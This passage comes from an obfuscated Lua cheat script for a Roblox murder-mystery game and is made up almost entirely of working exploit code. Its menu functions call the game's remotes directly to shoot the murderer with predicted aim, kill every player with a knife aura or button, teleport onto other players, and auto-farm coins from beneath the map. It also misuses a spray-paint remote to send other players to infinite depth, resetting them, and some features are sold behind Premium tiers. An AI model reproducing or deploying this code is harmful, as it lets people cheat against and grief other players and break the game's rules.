fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 10.5, t - 3.5))
fK(o, Q["Oak Planks"], CFrame.new(j + 7, Z + 10.5, t - 7))
fK(o, Q.Cobblestone, CFrame.new(j - 7, Z + 14, t + 7))
fK(o, Q.Cobblestone, CFrame.new(j - 7, Z + 14, t + 3.5))
fK(o, Q.Cobblestone, CFrame.new(j - 7, Z + 14, t))
fK(o, Q.Cobblestone, CFrame.new(j - 7, Z + 14, t - 3.5))
fK(o, Q.Cobblestone, CFrame.new(j - 7, Z + 14, t - 7))
fK(o, Q.Cobblestone, CFrame.new(j - 3.5, Z + 14, t + 7))
fK(o, Q.Cobblestone, CFrame.new(j - 3.5, Z + 14, t + 3.5))
fK(o, Q.Cobblestone, CFrame.new(j - 3.5, Z + 14, t))
fK(o, Q.Cobblestone, CFrame.new(j - 3.5, Z + 14, t - 3.5))
fK(o, Q.Cobblestone, CFrame.new(j - 3.5, Z + 14, t - 7))
fK(o, Q.Cobblestone, CFrame.new(j, Z + 14, t + 7))
fK(o, Q.Cobblestone, CFrame.new(j, Z + 14, t + 3.5))
fK(o, Q.Cobblestone, CFrame.new(j, Z + 14, t))
fK(o, Q.Cobblestone, CFrame.new(j, Z + 14, t - 3.5))
fK(o, Q.Cobblestone, CFrame.new(j, Z + 14, t - 7))
fK(o, Q.Cobblestone, CFrame.new(j + 7, Z + 14, t + 7))
fK(o, Q.Cobblestone, CFrame.new(j + 7, Z + 14, t + 3.5))
fK(o, Q.Cobblestone, CFrame.new(j + 7, Z + 14, t))
fK(o, Q.Cobblestone, CFrame.new(j + 7, Z + 14, t - 3.5))
fK(o, Q.Cobblestone, CFrame.new(j + 7, Z + 14, t - 7))
fK(o, Q.Cobblestone, CFrame.new(j + 3.5, Z + 14, t + 7))
fK(o, Q.Cobblestone, CFrame.new(j + 3.5, Z + 14, t + 3.5))
fK(o, Q.Cobblestone, CFrame.new(j + 3.5, Z + 14, t))
fK(o, Q.Cobblestone, CFrame.new(j + 3.5, Z + 14, t - 3.5))
fK(o, Q.Cobblestone, CFrame.new(j + 3.5, Z + 14, t - 7))
end
end)
end)
pK:CreateButton("Place PP", function()
sK(function(o)
local Y = h(D)
if Y then
Y = Y.CFrame
local j, Z, t = Y.X, Y.Y - 3, Y.Z
for Y = 1, 3, 1 do
fK(o, Q.Cobblestone, CFrame.new(j, Z, t + 3.5 * Y))
end
fK(o, Q["Oak Planks"], CFrame.new(j, Z, t + 14))
fK(o, Q.Cobblestone, CFrame.new(j + 3.5, Z, t))
fK(o, Q.Cobblestone, CFrame.new(j, Z, t))
fK(o, Q.Cobblestone, CFrame.new(j - 3.5, Z, t))
end
end)
end)
VK:CreateSection("Survival")
VK:CreateToggle("Auto Dodge Murderer <font color=\"#\057f\052fff\">(Premium)</font>", function(o)
if H then
if o then
x:MakeTask("Auto Dodge Murderer", G.Heartbeat, function()
pcall(function()
local o = p(q.Murderer) or false
if o ~= nil and (o.Name ~= g and l(o)) then
local Y = ((h(o)).Position - (h(D)).Position).Magnitude
if Y <= 15 then
local Y = ((h(o)).Position - (h(D)).Position).Unit
local j = CFrame.new((h(D)).Position + Y * 25)
m(D, "CFrame", j)
end
end
end)
end)
else
x:RemoveTask("Auto Dodge Murderer")
end
end
end)
VK:CreateSection("Sheriff")
VK:CreateButton("Shoot Murderer", function()
local o = V(q.Murderer)
if o and (o.Character and (l(o) and not x:GetValue("Shooting Murderer"))) then
local Y = false
local j = false
for o, Z in pairs(D.Backpack:GetChildren()) do
if Z.Name == "Gun" and Z:IsA("Tool") then
Z.Parent = D.Character
Y = Z
j = true
end
end
if not Y then
for o, j in pairs(D.Character:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
Y = j
end
end
end
if Y then
local Z = (h(D)).CFrame
local t
local K
x:SetValue("Shooting Murderer", true)
K = G.Heartbeat:Connect(function()
m(D, "CFrame", (h(o)).CFrame * CFrame.new(0, 0, 5))
end)
task.wait(.2)
t = G.Heartbeat:Connect(function()
z.Function(Y.KnifeServer.ShootGun, 0, ((h(o)).CFrame + (o.Character.Humanoid.MoveDirection * o.Character.Humanoid.WalkSpeed) / 16).Position, "AH")
end)
task.wait()
K:Disconnect()
t:Disconnect()
x:SetNil("Shooting Murderer")
m(D, "CFrame", Z)
if j then
Y.Parent = D.Backpack
end
end
end
end)
VK:CreateKeybind("Shoot Murderer", Enum.KeyCode.C, function()
local o = V(q.Murderer)
if o and (o.Character and (l(o) and not x:GetValue("Shooting Murderer"))) then
local Y = false
local j = false
for o, Z in pairs(D.Backpack:GetChildren()) do
if Z.Name == "Gun" and Z:IsA("Tool") then
Z.Parent = D.Character
Y = Z
j = true
end
end
if not Y then
for o, j in pairs(D.Character:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
Y = j
end
end
end
if Y then
local Z = (h(D)).CFrame
local t
local K
x:SetValue("Shooting Murderer", true)
K = G.Heartbeat:Connect(function()
m(D, "CFrame", (h(o)).CFrame * CFrame.new(0, 0, 5))
end)
task.wait(.2)
t = G.Heartbeat:Connect(function()
z.Function(Y.KnifeServer.ShootGun, 0, ((h(o)).CFrame + (o.Character.Humanoid.MoveDirection * o.Character.Humanoid.WalkSpeed) / 16).Position, "AH")
end)
task.wait()
K:Disconnect()
t:Disconnect()
x:SetNil("Shooting Murderer")
m(D, "CFrame", Z)
if j then
Y.Parent = D.Backpack
end
end
end
end)
VK:CreateToggle("Sharp Shooter", function(o)
N.SharpShooter = o
end)
VK:CreateToggle("Sheriff Silent Aim", function(o)
N.SheriffSilentAim = o
end)
local Zx = VK:CreateLabel("Current Silent Aim Accuracy: " .. (N.SheriffSilentAimAccuracy or "Dynamic"))
VK:CreateParagraph("Sheriff Silent Aim", "Probabilities:\n\nSeismic: <s>\055\048%</s> <u>\056\056%</u> \226\172\134\nOverflow: <s>\055\056%</s> <u>\057\048%</u> \226\172\134\nDynamic: <s>\053\049%</s> <u>\053\051%</u> \226\172\134\nRegular: <s>\050\056%</s> <u>\051\056%</u> \226\172\134\n\n<font size=\"\049\050\">Last updated since patch \048.\056</font>")
VK:CreateDropdown("Sheriff Silent Aim Accuracy", {
"Overflow <font color=\"rgb(\048, \048, \050\053\053)\">(Premium)</font>";
"Seismic <font color=\"rgb(\050\048\048, \049\048, \049\048)\">(Content Creator)</font>",
"Dynamic",
"Regular"
}, function(o)
if o == "Overflow <font color=\"rgb(\048, \048, \050\053\053)\">(Premium)</font>" then
if H then
N.SheriffSilentAimAccuracy = "Overflow"
else
B("You need to be a premium user to use this feature.")
end
elseif o == "Seismic <font color=\"rgb(\050\048\048, \049\048, \049\048)\">(Content Creator)</font>" then
if y then
N.SheriffSilentAimAccuracy = "Seismic"
else
B("You need to be a content creator to use this feature.")
end
else
N.SheriffSilentAimAccuracy = o
end
Zx:Update("Current Silent Aim Accuracy: " .. N.SheriffSilentAimAccuracy)
end)
VK:CreateSection("Murderer")
VK:CreateDropdown("Target Checking", {
"Mouse Cursor",
"Closest"
}, function(o)
N.MurdererSilentAimTargetChecking = o
end)
VK:CreateToggle("Murderer Silent Aim <font color=\"#\057f\052fff\">(Premium)</font>", function(o)
N.MurdererSilentAim = H and o
if not H and o then
B("You need to be a premium user to use this feature.")
end
end)
VK:CreateToggle("Auto Kill Everyone", function(o)
if o then
x:MakeTask("Auto Kill Everyone", G.Heartbeat, function()
if v == "Murderer" and l(D) then
local o = false
for Y, j in pairs(D.Backpack:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
j.Parent = D.Character
o = j
end
end
if not o then
for Y, j in pairs(D.Character:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
o = j
end
end
end
if o then
for Y, j in pairs(O:GetPlayers()) do
if j.Name ~= g and l(j) then
HK(j, o)
end
end
end
end
end)
else
x:RemoveTask("Auto Kill Everyone")
end
end)
VK:CreateToggle("Knife Aura", function(o)
N.KnifeAura = o
if o then
(coroutine.wrap(function()
while N.KnifeAura do
task.wait(.15)
if v == "Murderer" then
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g then
local o = ((h(Y)).Position - (h(D)).Position).Magnitude
if o <= N.KnifeRange then
local o = false
for Y, j in pairs(D.Character:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
o = j
end
end
if o then
HK(Y, o)
end
end
end
end
end
end
end))()
end
end)
local tx = VK:CreateSlider("Knife Range", 1, 100, 30, function(o)
N.KnifeRange = tonumber(o)
end)
VK:CreateButton("Kill Everyone", function()
if v == "Murderer" then
local o = false
for Y, j in pairs(D.Backpack:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
j.Parent = D.Character
o = j
end
end
if not o then
for Y, j in pairs(D.Character:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
o = j
end
end
end
if o then
for Y, j in pairs(O:GetPlayers()) do
if j.Name ~= g then
HK(j, o)
end
end
end
end
end)
VK:CreateKeybind("Kill Everyone", Enum.KeyCode.B, function()
if v == "Murderer" then
local o = false
for Y, j in pairs(D.Backpack:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
j.Parent = D.Character
o = j
end
end
if not o then
for Y, j in pairs(D.Character:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
o = j
end
end
end
if o then
for Y, j in pairs(O:GetPlayers()) do
if j.Name ~= g then
HK(j, o)
end
end
end
end
end)
VK:CreateButton("Kill Sheriff", function()
local o = V(q.Sheriff)
if v == "Murderer" then
local Y = false
for o, j in pairs(D.Backpack:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
j.Parent = D.Character
Y = j
end
end
if not Y then
for o, j in pairs(D.Character:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
Y = j
end
end
end
if Y then
HK(o, Y)
end
end
end)
VK:CreatePlayerDropdown("Kill Player", function(o)
if v == "Murderer" then
local Y = false
for o, j in pairs(D.Backpack:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
j.Parent = D.Character
Y = j
end
end
if not Y then
for o, j in pairs(D.Character:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
Y = j
end
end
end
if Y then
HK(o, Y)
end
end
end)
hK:CreateSection("Perks")
hK:CreateToggle("Stealth", function(o)
if u("Ghost") then
z.Event(A.Remotes.Gameplay.Stealth, o)
else
if o then
B("Uh oh! you need Ghost Perks for this!")
end
end
end)
hK:CreateToggle("Fake Gun", function(o)
if u("FakeGun") then
z.Event(A.Remotes.Gameplay.FakeGun, o)
else
if o then
B("Uh oh! you need FakeGun Perks for this!")
end
end
end)
hK:CreateToggle("Sprint Trail", function(o)
if u("Sprint") then
if D.Character then
z.Event(D.Character.SpeedTrail.Toggle, o)
end
else
if o then
B("Uh oh! you need Sprint Perks for this!")
end
end
end)
hK:CreateSection("Client")
hK:CreateToggle("Headless", function(o)
if o then
D.Character.Head.Transparency = 1
for o, Y in pairs(D.Character.Head:GetChildren()) do
if Y:IsA("Decal") then
Y.Transparency = 1
end
end
else
D.Character.Head.Transparency = 0
for o, Y in pairs(D.Character.Head:GetChildren()) do
if Y:IsA("Decal") then
Y.Transparency = 0
end
end
end
end)
hK:CreateButton("Korblox", function(o)
D.Character.RightLowerLeg.MeshId = "\057\048\050\057\052\050\048\057\051"
D.Character.RightLowerLeg.Transparency = 1
D.Character.RightUpperLeg.MeshId = "http://www.roblox.com/asset/?id=\057\048\050\057\052\050\048\057\054"
D.Character.RightUpperLeg.TextureID = "http://roblox.com/asset/?id=\057\048\050\056\052\051\051\057\056"
D.Character.RightFoot.MeshId = "\057\048\050\057\052\050\048\056\057"
D.Character.RightFoot.Transparency = 1
end)
mK:CreateButton("Map", function()
local o = ZK()
if o then
local Y = nil
local j = nil
for o, Y in pairs(o.Spawns:GetChildren()) do
if Y.Name == "Spawn" or Y.Name == "PlayerSpawn" then
j = CFrame.new(Y.CFrame.X, Y.CFrame.Y, Y.CFrame.Z) * CFrame.Angles(0, 0, 0)
end
end
if j ~= nil then
Y = j * CFrame.new(0, 5, 0)
if Y ~= nil then
m(D, "CFrame", Y)
end
end
end
end)
mK:CreateButton("Above Map", function()
local o = ZK()
if o then
local Y = nil
local j = nil
for o, Y in pairs(o.Spawns:GetChildren()) do
if Y.Name == "Spawn" or Y.Name == "PlayerSpawn" then
j = CFrame.new(Y.CFrame.X, Y.CFrame.Y, Y.CFrame.Z) * CFrame.Angles(0, 0, 0)
end
end
if j ~= nil then
Y = CFrame.new(j.X, (CFrame.new((DK((j * CFrame.new(0, 999, 0)).Position, o)).Position) * CFrame.new(0, 7, 0)).Y, j.Z)
if Y ~= nil then
m(D, "CFrame", Y)
end
end
end
end)
mK:CreateButton("Voting Map", function()
local o = CFrame.new(-108, 140, 83)
m(D, "CFrame", o)
end)
mK:CreateButton("Void (Safe)", function()
local o = CFrame.new(99999, 99999, 99999)
m(D, "CFrame", o)
if not D.Character:FindFirstChild("Safe Void Path") then
local o = Instance.new("Part")
o.Name = "Safe Void Path"
o.Parent = D.Character
o.CFrame = CFrame.new(99999, 99995, 99999)
o.Anchored = true
o.Size = Vector3.new(300, .1, 300)
o.Transparency = .5
end
end)
mK:CreateButton("Lobby", function()
local o = CFrame.new(-110, 140, 10)
m(D, "CFrame", o)
end)
mK:CreateButton("Murderer", function()
local o = V(q.Murderer)
if l(o) then
local Y = (h(o)).CFrame
m(D, "CFrame", Y)
end
end)
mK:CreateButton("Sheriff", function()
local o = V(q.Sheriff)
if l(o) then
local Y = (h(o)).CFrame
m(D, "CFrame", Y)
end
end)
mK:CreatePlayerDropdown("TP to Player", function(o)
m(D, "CFrame", (h(o)).CFrame)
end)
local Kx = WK:CreateLabel("Farm Elapse: \048d \048h \048m \048s")
local Ux = WK:CreateLabel("Collected Coins: \048")
local rx = WK:CreateLabel("Collected Eggs: \048")
WK:CreateToggle("Auto Farm", function(o)
N.AutoFarm = o
if o then
(coroutine.wrap(function()
while N.AutoFarm do
task.wait()
local o = V(q.Murderer)
local Y
if N.CoinType == "Coin" then
Y = N.CoinBag ~= L
elseif N.CoinType == "Egg" then
Y = N.EggBag ~= 20
elseif N.CoinType == "Coin and Egg" then
Y = N.CoinBag ~= L and N.EggBag ~= 20
end
if o and (o.Character and (z.Function(A.Remotes.Extras.GetTimer) > 0 and (l(D) and Y))) then
local o = QK()
if o and N.PreviousCoin ~= o then
local Y = o.CFrame
local j = h(D)
local t = (h(D)).Position
local K = (Y.Position - t).Magnitude
local U = N.FarmSpeedMethod == "Automatic" and (N.FastFarm and K * .0385 or K * .0415) or N.FarmSpeedMethod == "Manual" and tonumber(N.ManualSpeed)
local r = N.SafeMode
local G = 0
local T = 0
local J
N.PreviousCoin = o
N.FarmSTOP = false
if U >= 10 then
U = 3
end
z.Event(A.Remotes.Gameplay.Stealth, N.StealthWhenFarm)
if r then
local o = ZK()
if o then
local j = nil
local Z = nil
for o, Y in pairs(o.Spawns:GetChildren()) do
if Y.Name == "Spawn" or Y.Name == "PlayerSpawn" then
Z = CFrame.new(Y.CFrame.X, Y.CFrame.Y, Y.CFrame.Z) * CFrame.Angles(0, 0, 0)
end
end
if Z ~= nil then
j = CFrame.new(Z.X, (CFrame.new((DK((Z * CFrame.new(0, -999, 0)).Position, o)).Position) * CFrame.new(0, -20, 0)).Y, Z.Z)
if j ~= nil then
G = {
Y.X;
j.Y,
Y.Z
}
T = j.Y
end
end
end
else
G = {
Y.X;
Y.Y - 1.875;
Y.Z
}
end
if r then
m(D, "CFrame", CFrame.new(j.CFrame.X, T, j.CFrame.Z) * CFrame.Angles(math.rad(90), 0, math.rad(90)))
end
NK(true)
J = CFrame.new(G[1], G[2], G[3]) * CFrame.Angles(math.rad(90), 0, math.rad(90))
N.CurrentTween = Z:Create(h(D), TweenInfo.new(U, Enum.EasingStyle.Linear, N.SmoothFarm), {
CFrame = J
})
N.CurrentTween:Play()
task.wait(U + .1)
if N.CurrentTween then
if r then
m(D, "CFrame", CFrame.new(Y.X, Y.Y - 1.875, Y.Z) * CFrame.Angles(math.rad(90), 0, math.rad(90)))
end
end
end
else
if not N.FarmSTOP and (D and (D.Character and l(D))) then
N.FarmSTOP = true
N.NoReplicateCoin = 0
NK(false)
z.Event(A.Remotes.Gameplay.Stealth, false)
if l(D) then
if N.TpWhenDone == "Map" then
local o = ZK()
if o then
local Y = nil
local j = nil
for o, Y in pairs(o.Spawns:GetChildren()) do
if Y.Name == "Spawn" or Y.Name == "PlayerSpawn" then
j = CFrame.new(Y.CFrame.X, Y.CFrame.Y, Y.CFrame.Z) * CFrame.Angles(0, 0, 0)
end
end
if j ~= nil then
Y = j * CFrame.new(0, 5, 0)
if Y ~= nil then
m(D, "CFrame", Y)
else
if N.OldPos ~= nil then
m(D, "CFrame", N.OldPos)
N.OldPos = nil
end
end
end
end
elseif N.TpWhenDone == "Lobby" then
local o = CFrame.new(-110, 140, 10)
m(D, "CFrame", o)
N.OldPos = nil
elseif N.TpWhenDone == "Void (Safe)" then
local o = CFrame.new(99999, 99999, 99999)
m(D, "CFrame", o)
if not D.Character:FindFirstChild("Safe Void Path") then
local o = Instance.new("Part")
o.Name = "Safe Void Path"
o.Parent = D.Character
o.CFrame = CFrame.new(99999, 99995, 99999)
o.Anchored = true
o.Size = Vector3.new(300, .1, 300)
o.Transparency = .5
end
N.OldPos = nil
elseif N.TpWhenDone == "Above Map" then
local o = ZK()
if o then
local Y = nil
local j = nil
for o, Y in pairs(o.Spawns:GetChildren()) do
if Y.Name == "Spawn" or Y.Name == "PlayerSpawn" then
j = CFrame.new(Y.CFrame.X, Y.CFrame.Y, Y.CFrame.Z) * CFrame.Angles(0, 0, 0)
end
end
if j ~= nil then
Y = CFrame.new(j.X, (CFrame.new((DK((j * CFrame.new(0, 999, 0)).Position, o)).Position) * CFrame.new(0, 3, 0)).Y, j.Z)
if Y ~= nil then
m(D, "CFrame", Y)
else
if N.OldPos ~= nil then
m(D, "CFrame", N.OldPos)
N.OldPos = nil
end
end
end
end
end
if v == "Murderer" then
if N.KillAllWhenDone then
local o = false
for Y, j in pairs(D.Backpack:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
j.Parent = D.Character
o = j
end
end
if not o then
for Y, j in pairs(D.Character:GetChildren()) do
if j.Name == "Knife" and j:IsA("Tool") then
o = j
end
end
end
if o then
for Y, j in pairs(O:GetPlayers()) do
if j.Name ~= g then
HK(j, o)
end
end
end
end
elseif v == "Sheriff" then
if o and (o.Character and (l(o) and not x:GetValue("Shooting Murderer"))) then
local Y = false
local j = false
for o, Z in pairs(D.Backpack:GetChildren()) do
if Z.Name == "Gun" and Z:IsA("Tool") then
Z.Parent = D.Character
Y = Z
j = true
end
end
if not Y then
for o, j in pairs(D.Character:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
Y = j
end
end
end
if Y then
local Z = (h(D)).CFrame
local t
local K
x:SetValue("Shooting Murderer", true)
K = G.Heartbeat:Connect(function()
m(D, "CFrame", (h(o)).CFrame * CFrame.new(0, 0, 5))
end)
task.wait(.2)
t = G.Heartbeat:Connect(function()
z.Function(Y.KnifeServer.ShootGun, 0, ((h(o)).CFrame + (o.Character.Humanoid.MoveDirection * o.Character.Humanoid.WalkSpeed) / 16).Position, "AH")
end)
task.wait()
K:Disconnect()
t:Disconnect()
x:SetNil("Shooting Murderer")
m(D, "CFrame", Z)
if j then
Y.Parent = D.Backpack
end
end
end
end
if N.ResetEveryoneWhenDone then
sK(function(o)
for Y, j in pairs(O:GetPlayers()) do
if j.Name ~= g and j.Character then
local Y = h(j)
if Y then
z.Event(o.Remote, 0, Enum.NormalId.Right, 10, Y, CFrame.new(0, - math.huge, 0))
end
end
end
end)
else
if N.ResetMurdererWhenDone then
sK(function(Y)
local j = h(o)
if j then
z.Event(Y.Remote, 0, Enum.NormalId.Right, 10, j, CFrame.new(0, - math.huge, 0))
end
end)
end
if N.ResetSheriffWhenDone then
o = V(q.Sheriff)
if o and (o.Character and l(o)) then
sK(function(Y)
local j = h(o)
if j then
z.Event(Y.Remote, 0, Enum.NormalId.Right, 10, j, CFrame.new(0, - math.huge, 0))
end
end)
end
end
end
if N.ResetWhenDone then
D.Character.Humanoid.Health = 0
end
end
end
end
end
end))()
else
NK(false)
N.CollectedCoins = 0
N.NoReplicateCoin = 0
N.Elapse.s = 0
N.Elapse.m = 0
N.Elapse.h = 0
N.Elapse.d = 0
Kx:Update("Farm Elapse: " .. (N.Elapse.d .. ("d " .. (N.Elapse.h .. ("h " .. (N.Elapse.m .. ("m " .. (N.Elapse.s .. "s"))))))))
N.CurrentCoin = nil
if N.StealthWhenFarm and u("Ghost") then
z.Event(A.Remotes.Gameplay.Stealth, false)
end
if N.CurrentTween ~= nil then
N.CurrentTween:Pause()
N.CurrentTween = nil
task.wait(.15)
end
if l(D) then
if N.TpWhenDone == "Map" then
local o = ZK()
if o then
local Y = nil
local j = nil
for o, Y in pairs(o.Spawns:GetChildren()) do
if Y.Name == "Spawn" or Y.Name == "PlayerSpawn" then
j = CFrame.new(Y.CFrame.X, Y.CFrame.Y, Y.CFrame.Z) * CFrame.Angles(0, 0, 0)
end
end
if j ~= nil then
Y = j * CFrame.new(0, 5, 0)
if Y ~= nil then
m(D, "CFrame", Y)
else
if N.OldPos ~= nil then
m(D, "CFrame", N.OldPos)
N.OldPos = nil
end
end
end
end
elseif N.TpWhenDone == "Lobby" then
local o = CFrame.new(-110, 140, 10)
m(D, "CFrame", o)
N.OldPos = nil
elseif N.TpWhenDone == "Void (Safe)" then
local o = CFrame.new(99999, 99999, 99999)
m(D, "CFrame", o)
if not D.Character:FindFirstChild("Safe Void Path") then
local o = Instance.new("Part")
o.Name = "Safe Void Path"
o.Parent = D.Character
o.CFrame = CFrame.new(99999, 99995, 99999)
o.Anchored = true
o.Size = Vector3.new(300, .1, 300)
o.Transparency = .5
end
N.OldPos = nil
elseif N.TpWhenDone == "Above Map" then
local o = ZK()
if o then
local Y = nil
local j = nil
for o, Y in pairs(o.Spawns:GetChildren()) do
if Y.Name == "Spawn" or Y.Name == "PlayerSpawn" then
j = CFrame.new(Y.CFrame.X, Y.CFrame.Y, Y.CFrame.Z) * CFrame.Angles(0, 0, 0)
end
end
if j ~= nil then
Y = CFrame.new(j.X, (CFrame.new((DK((j * CFrame.new(0, 999, 0)).Position, o)).Position) * CFrame.new(0, 3, 0)).Y, j.Z)
if Y ~= nil then
m(D, "CFrame", Y)
else
if N.OldPos ~= nil then
m(D, "CFrame", N.OldPos)
N.OldPos = nil
end
end
end
end
end
end
end
end)
WK:CreateSection("Config")
WK:CreateToggle("Safe Mode <font color=\"#\057f\052fff\">(Premium)</font>", function(o)
N.SafeMode = H and o
end)
WK:CreateToggle("Extra Farm Speed <font color=\"#\057f\052fff\">(Premium)</font>", function(o)
N.FastFarm = H and o
end)
WK:CreateToggle("Smooth Farm <font color=\"#\057f\052fff\">(Premium)</font>", function(o)
N.SmoothFarm = H and (o and Enum.EasingDirection.In) or Enum.EasingDirection.InOut
end)
WK:CreateDropdown("When Done Return In", {
"Map";
"Above Map",
"Lobby";
"Void (Safe)"
}, function(o)
N.TpWhenDone = o
end)
WK:CreateDropdown("Farm Speed Method", {
"Automatic",
"Manual"
}, function(o)
N.FarmSpeedMethod = o
end)
local Gx = WK:CreateSlider("Manual Speed", 1, 5, 3, function(o)
N.ManualSpeed = tonumber(o) or 3
end)
WK:CreateDropdown("Coin Type", {
"Coin";
"Egg",
"Coin and Egg"
}, function(o)
N.CoinType = o
end)
WK:CreateSection("When Done Farming")
WK:CreateLabel("Murderer:")
WK:CreateToggle("Kill Everyone", function(o)
N.KillAllWhenDone = o
end)
WK:CreateLabel("Sheriff:")
WK:CreateToggle("Shoot Murderer", function(o)
N.ShootMurdWhenDone = o
end)
WK:CreateLabel("All Roles:")
WK:CreateToggle("Reset", function(o)
N.ResetWhenDone = o
end)
WK:CreateToggle("Invisible", function(o)
N.InvisibleWhenDone = o
end)
WK:CreateSection("Spray Paint (When Done Farming)")
WK:CreateToggle("Reset Everyone <font color=\"#\057f\052fff\">(Premium)</font>", function(o)
N.ResetEveryoneWhenDone = H and o
end)
WK:CreateToggle("Reset Sheriff <font color=\"#\057f\052fff\">(Premium)</font>", function(o)
N.ResetSheriffWhenDone = H and o
end)
WK:CreateToggle("Reset Murderer <font color=\"#\057f\052fff\">(Premium)</font>", function(o)
N.ResetMurdererWhenDone = H and o
end)
WK:CreateSection("Perks")
WK:CreateToggle("Use Stealth While Farming", function(o)
N.StealthWhenFarm = o
end)
G.RenderStepped:Connect(function()
local o = D and (D.PlayerGui and (D.PlayerGui.MainGUI and (D.PlayerGui.MainGUI.Lobby and (D.PlayerGui.MainGUI.Lobby.Dock and (D.PlayerGui.MainGUI.Lobby.Dock.CoinBags and (D.PlayerGui.MainGUI.Lobby.Dock.CoinBags.Container and (D.PlayerGui.MainGUI.Lobby.Dock.CoinBags.Container.Coin and (D.PlayerGui.MainGUI.Lobby.Dock.CoinBags.Container.Coin.CurrencyFrame and (D.PlayerGui.MainGUI.Lobby.Dock.CoinBags.Container.Coin.CurrencyFrame.Icon and D.PlayerGui.MainGUI.Lobby.Dock.CoinBags.Container.Coin.CurrencyFrame.Icon.Coins))))))))) or D and (D.PlayerGui and (D.PlayerGui.MainGUI and (D.PlayerGui.MainGUI.Game and (D.PlayerGui.MainGUI.Game.CoinBags and (D.PlayerGui.MainGUI.Game.CoinBags and (D.PlayerGui.MainGUI.Game.CoinBags.Container and (D.PlayerGui.MainGUI.Game.CoinBags.Container.Coin and (D.PlayerGui.MainGUI.Game.CoinBags.Container.Coin.CurrencyFrame and (D.PlayerGui.MainGUI.Game.CoinBags.Container.Coin.CurrencyFrame.Icon and D.PlayerGui.MainGUI.Game.CoinBags.Container.Coin.CurrencyFrame.Icon.Coins)))))))))
local Y = D and (D.PlayerGui and (D.PlayerGui.MainGUI and (D.PlayerGui.MainGUI.Lobby and (D.PlayerGui.MainGUI.Lobby.Dock and (D.PlayerGui.MainGUI.Lobby.Dock.CoinBags and (D.PlayerGui.MainGUI.Lobby.Dock.CoinBags.Container and (D.PlayerGui.MainGUI.Lobby.Dock.CoinBags.Container.Coin and (D.PlayerGui.MainGUI.Lobby.Dock.CoinBags.Container.Egg.CurrencyFrame and (D.PlayerGui.MainGUI.Lobby.Dock.CoinBags.Container.Egg.CurrencyFrame.Icon and D.PlayerGui.MainGUI.Lobby.Dock.CoinBags.Container.Egg.CurrencyFrame.Icon.Coins))))))))) or D and (D.PlayerGui and (D.PlayerGui.MainGUI and (D.PlayerGui.MainGUI.Game and (D.PlayerGui.MainGUI.Game.CoinBags and (D.PlayerGui.MainGUI.Game.CoinBags and (D.PlayerGui.MainGUI.Game.CoinBags.Container and (D.PlayerGui.MainGUI.Game.CoinBags.Container.Egg and (D.PlayerGui.MainGUI.Game.CoinBags.Container.Egg.CurrencyFrame and (D.PlayerGui.MainGUI.Game.CoinBags.Container.Egg.CurrencyFrame.Icon and D.PlayerGui.MainGUI.Game.CoinBags.Container.Egg.CurrencyFrame.Icon.Coins)))))))))
if o and Y then
if tonumber(o.Text) == L then
Ux:Update("Collected Coins: " .. (o.Text .. " [Full]"))
else
Ux:Update("Collected Coins: " .. o.Text)
end
if tonumber(Y.Text) == 20 then
rx:Update("Collected Eggs: " .. (Y.Text .. " [Full]"))
else
rx:Update("Collected Eggs: " .. Y.Text)
end
CoinBag = tonumber(o.Text) + tonumber(Y.Text)
N.CoinBag = tonumber(o.Text)
N.EggBag = tonumber(Y.Text)
end
end)
D.CharacterAdded:Connect(function()
pcall(function()
if N.ForceSpawn then
task.wait(.5)
local o = h(D)
o.CFrame = N.ForceSpawnCFrame
N.ForceSpawn = false
end
end)
end);
(coroutine.wrap(function()
while true do
if N.AutoFarm then
task.wait(1)
N.Elapse.s = N.Elapse.s + 1
if N.Elapse.s == 60 then
N.Elapse.s = 0
N.Elapse.m = N.Elapse.m + 1
if N.Elapse.m == 60 then
N.Elapse.m = 0
N.Elapse.h = N.Elapse.h + 1
if N.Elapse.h == 24 then
N.Elapse.h = 0
N.Elapse.d = N.Elapse.d + 1
end
end
end
else
task.wait()
N.Elapse.s = 0
N.Elapse.m = 0
N.Elapse.h = 0
N.Elapse.d = 0
end
Kx:Update("Farm Elapse: " .. (N.Elapse.d .. ("d " .. (N.Elapse.h .. ("h " .. (N.Elapse.m .. ("m " .. (N.Elapse.s .. "s"))))))))
end
end))()
JK()
A.Remotes.Gameplay.Fade.OnClientEvent:Connect(function(o)
R = o
v = R[g] and R[g].Role or "Innocent"
for o, Y in pairs(R) do
if not Y.Died and not Y.Killed then
if Y.Role == "Murderer" then
local Y = V(o)
if Y and Y.Character then
q.Murderer = o
end
elseif Y.Role == "Sheriff" then
local Y = V(o)
if Y and Y.Character then
q.Sheriff = o
q.Hero = false
end
elseif Y.Role == "Hero" then
local Y = V(o)
if Y and Y.Character then
q.Sheriff = o
q.Hero = true
end
else
local Y = V(o)
if Y and Y.Character then
for Y, j in pairs(Y.Character:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
q.Sheriff = o
q.Hero = true
if g == o then
v = "Hero"
end
end
end
if q.Sheriff ~= o then
for Y, j in pairs(Y.Backpack:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
q.Sheriff = o
q.Hero = true
if g == o then
v = "Hero"
end
end
end
end
end
end
end
end
for o, Y in pairs(N.RoleStates) do
(coroutine.wrap(Y))()
end
end)
A.Remotes.Gameplay.RoundEndFade.OnClientEvent:Connect(function()
for o, Y in pairs(O:GetPlayers()) do
R[Y.Name] = {}
R[Y.Name].Dead = true
R[Y.Name].Killed = true
end
q.Murderer = ""
q.Sheriff = ""
end)
A.UpdatePlayerData.OnClientEvent:Connect(zK)
